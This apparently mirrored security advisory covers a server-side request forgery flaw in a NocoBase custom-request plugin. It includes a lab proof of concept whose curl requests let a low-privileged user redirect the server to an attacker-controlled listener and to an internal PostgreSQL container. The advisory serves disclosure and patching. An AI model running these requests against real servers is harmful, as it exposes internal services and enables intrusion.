@nocobase/plugin-action-custom-request
Affected
- introduced
2.1.0-alpha.8, fixed2.1.15(semver)
Fixed versions
2.1.15
Fix
- Fixed version
2.1.15npm install @nocobase/[email protected]
Advisory
Also known as: CVE-2026-79914
NocoBase: @nocobase/plugin-action-custom-request allows server-side request forgery through runtime URL overrides
Summary
A Server-Side Request Forgery vulnerability exists in NocoBase v2.1.10 in the @nocobase/plugin-action-custom-request plugin.
A low-privileged authenticated user can call the customRequests:send endpoint and override the stored request URL at runtime using options.url. This causes the NocoBase server to perform outbound HTTP requests to attacker-controlled or internal URLs.
@nocobase/plugin-action-custom-requestTesting was performed only in a local Docker lab environment at http://127.0.0.1:13000. No public NocoBase instance was tested.
Lab environment:
nocobase/nocobase:latest-full23e2bd35625439594e4757bac31d57c9e8e695b9nocobase-lab, nocobase-postgres172.19.0.0/16SERVER_REQUEST_WHITELIST was not set---
Details
The vulnerable endpoint is:
POST /api/customRequests:send?filterByTk=<key>
The customRequests:send action is allowed for any logged-in user:
// plugin-action-custom-request/src/server/plugin.ts
this.app.acl.allow('customRequests', ['send', 'listByCurrentRole'], 'loggedIn');
The request options supplied at runtime are merged into the stored request configuration. This allows a low-privileged user to override the stored URL:
// plugin-action-custom-request/src/server/actions/send.ts
const mergedOptions = {
...(requestConfig.options || {}),
...omitNullAndUndefined(runtimeOptions || {}),
};
const { url, ...options } = mergedOptions;
The URL is therefore attacker-controlled when the low-privileged user sends a request body such as:
{
"options": {
"url": "http://attacker-controlled-host:18080/ssrf-proof",
"method": "GET"
}
}
If SERVER_REQUEST_WHITELIST is not configured, the server-side request whitelist check is bypassed:
// packages/core/utils/src/server-request.ts
const whitelist = process.env.SERVER_REQUEST_WHITELIST;
if (!whitelist || !whitelist.trim()) return;
As a result, a low-privileged authenticated user can force the NocoBase server to make arbitrary outbound HTTP requests.
---
PoC
Step 1: Admin creates a valid Custom Request config
First, an administrator creates a valid Custom Request config. This is a setup step only.
BASE="http://127.0.0.1:13000"
curl -i -s -X POST "$BASE/api/customRequests:create" \
-H "Authorization: Bearer <ADMIN_TOKEN>" \
-H "Content-Type: application/json" \
--data '{
"key": "report-ssrf-demo",
"options": {
"url": "https://www.example.com/",
"method": "GET"
}
}'
Expected result:
HTTP/1.1 200 OK
If the key already exists, this setup step can be skipped.
Evidence:
<img width="1467" height="619" alt="Admin creates Custom Request config" src="https://github.com/user-attachments/assets/77804709-ac83-479b-a99a-e1da531bb6d6" />
---
Step 2: Start an attacker-controlled HTTP listener
On the attacker-controlled host in the local lab:
mkdir -p /tmp/ssrf-poc
cd /tmp/ssrf-poc
echo "SSRF OK - request came from NocoBase server" > ssrf-proof
python3 -m http.server 18080 --bind 0.0.0.0
Example attacker host IP in the local lab:
192.168.1.139
Evidence:
<img width="888" height="195" alt="image" src="https://github.com/user-attachments/assets/8360b4cc-c00d-42ae-a9e8-09125b126e89" />
---
Step 3: Low-privileged user triggers SSRF by overriding options.url
The low-privileged user calls customRequests:send and overrides options.url at runtime:
BASE="http://127.0.0.1:13000"
KALI_IP="192.168.1.139"
curl -i -s -X POST "$BASE/api/customRequests:send?filterByTk=report-ssrf-demo" \
-H "Authorization: Bearer <LOWPRIV_TOKEN>" \
-H "Content-Type: application/json" \
--data "{
\"options\": {
\"url\": \"http://$KALI_IP:18080/ssrf-proof\",
\"method\": \"GET\"
}
}"
Expected response:
HTTP/1.1 200 OK
SSRF OK - request came from NocoBase server
Evidence:
<img width="959" height="570" alt="Low-privileged user triggers SSRF" src="https://github.com/user-attachments/assets/100ec9b5-005b-4322-90a7-f5018bf2ab77" />
---
Step 4: Attacker-controlled listener receives the server-side request
The attacker-controlled HTTP listener receives:
GET /ssrf-proof HTTP/1.1
This proves that the HTTP request was made by the NocoBase server as a result of the low-privileged user's API request.
Evidence:
<img width="744" height="206" alt="Listener receives GET /ssrf-proof" src="https://github.com/user-attachments/assets/c26f89d4-88b4-46c2-a2fa-722e64899051" />
---
Step 5: Internal service reachability test
The same low-privileged user can target an internal Docker service:
curl -i -s -X POST "$BASE/api/customRequests:send?filterByTk=report-ssrf-demo" \
-H "Authorization: Bearer <LOWPRIV_TOKEN>" \
-H "Content-Type: application/json" \
--data '{
"options": {
"url": "http://nocobase-postgres:5432/",
"method": "GET"
}
}'
Observed response:
{"message":"socket hang up"}
This indicates that the NocoBase server attempted to connect to the internal PostgreSQL container. PostgreSQL does not speak HTTP, so the connection is closed, but the internal reachability is confirmed.
---
Impact
A low-privileged authenticated user can force the NocoBase server to perform arbitrary outbound HTTP requests.
Potential impact includes:
Confirmed in the local lab:
nocobase-postgres:5432 was reachableThis can expose internal-only services to low-privileged users and can become more severe in cloud or production deployments where internal APIs, metadata services, or trusted network services are reachable from the NocoBase server.
---
Recommended Fix
customRequests:send to administrators or specifically authorized roles.- this.app.acl.allow('customRequests', ['send'], 'loggedIn');
+ this.app.acl.allow('customRequests', ['send'], 'admin');
SERVER_REQUEST_WHITELIST by default in production Docker images.127.0.0.0/8
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
169.254.0.0/16
::1/128
fc00::/7Medium Basis: The source's own band: MODERATE
2.1.0-alpha.8, fixed 2.1.15 (semver)2.1.15
2.1.15npm install @nocobase/[email protected]2.2.0-alpha.1, fixed 2.2.0-alpha.4 (semver)2.2.0-alpha.4
2.2.0-alpha.4npm install @nocobase/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0